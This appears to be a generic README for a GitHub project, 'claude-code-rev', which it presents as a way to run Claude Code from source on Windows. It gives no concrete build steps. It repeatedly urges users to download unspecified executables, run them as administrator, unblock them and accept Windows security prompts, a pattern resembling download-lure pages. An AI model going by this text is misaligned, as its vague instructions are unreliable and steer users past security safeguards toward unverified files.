Claude Code Rev is a Windows app source project built to help you run Claude Code on your own machine. It is made for end users who want a simple way to start the app and use it without setting up a full developer toolchain.
Use this project if you want to:
- Open Claude Code on Windows
- Run a local app from source
- Keep the setup process simple
- Use a direct GitHub download link
Use this link to visit the project page and download or open the latest files:
Open claude-code-rev on GitHub
If the project includes a release build, download the Windows file from the page and save it to your computer. If the page provides source files only, use the steps below to run it on Windows.
Before you start, make sure your PC can run the app:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 200 MB of free disk space
- Internet access
- Permission to run downloaded files
For the best result, use a current version of Windows and keep system updates installed.
Follow these steps on Windows.
Go to:
Look for a release, a setup file, or the source files on the main page.
If you see a Windows installer or app file, download it to your computer.
If you only see source code, download the full project as a ZIP file.
Use a folder you can find later, such as:
- Downloads
- Desktop
- Documents
Do not move files around while the app is still running.
If the download is a ZIP file, right-click it and choose Extract All.
This creates a normal folder with the project files inside.
Open the folder where you extracted the files.
Look for common files such as:
- README.md
- package.json
- app.exe
- setup.exe
- src folder
These names help you find the right start file.
The run steps depend on what you downloaded.
If you see a file such as setup.exe or app.exe:
- Double-click the file
- If Windows asks for permission, select Yes
- Follow the steps on screen
- Open the app when the install finishes
If the project uses source files, follow these steps:
- Open the project folder
- Find the start file in the folder
- If the project includes a batch file, double-click it
- If it uses a script, open it with the tool named in the project files
- Keep the window open while the app runs
If the project includes a start command in the README file, use that exact command in Windows Terminal or Command Prompt.
These file names often mean the following:
README.md— instructions for the projectpackage.json— app settings for a JavaScript projectsrc— source files for the appdist— ready-to-run build filessetup.exe— installer for Windowsapp.exe— main app file.bat— double-click start file
If you see a file named README.md, open it first. It often has the shortest path to running the app.
Before opening the app, check these items:
- The file finished downloading
- The ZIP file is fully extracted
- You opened the right folder
- You have internet access
- Windows did not block the file
If Windows shows a security prompt, choose the option that lets you open the file if you trust the source.
A simple folder layout can help:
Downloads\claude-code-revDesktop\claude-code-revDocuments\claude-code-rev
Keep the project in one folder so you can find the files again later.
This project is for running Claude Code source code in a local Windows setup. A user can expect a workflow like this:
- Start the app
- Load the Claude Code interface
- Work with local project files
- Use the app from a simple Windows window or terminal
The exact interface depends on the build you download, but the goal stays the same: open the app and use Claude Code on Windows.
Try these steps:
- Right-click the file and choose Open
- Run it as administrator
- Check that the file finished downloading
- Move the file to a simple folder like Desktop
If Windows shows a blocked file message:
- Right-click the file
- Open Properties
- Look for an Unblock option
- Apply the change
- Try again
This often means the app needs a required file or command.
Check for:
- Missing files in the folder
- A broken ZIP extraction
- A second start file in the project
- Instructions in the README file
Try:
- Restart the app
- Restart Windows
- Check if another copy is already running
- Read the project README for the correct start step
After opening the GitHub page, check these parts:
- The main README for start steps
- The Releases area for Windows builds
- The files list for the app entry point
- The Issues area for known problems
If the project ships with a release build, use that first. It is the easiest path for most Windows users.
If you need to find the right file on the page, search for:
- Windows
- exe
- setup
- release
- download
- start
These terms often point to the file you need.
Double-click it to run the app or installer.
Extract it first, then open the folder inside.
Double-click it to start a script on Windows.
Open it with Notepad or your browser to read the instructions.
Do not edit it unless the project tells you to.
Use the download page from the project link only:
Check that the file name matches what the project shows on the page before you run it.
- Open the GitHub link
- Download the Windows file or ZIP
- Extract the ZIP if needed
- Open the project folder
- Run the app file or follow the project README
If you get stuck, return to the project page and look at:
- README.md
- Releases
- File list
- Issue posts
These places usually show the correct way to run the app on Windows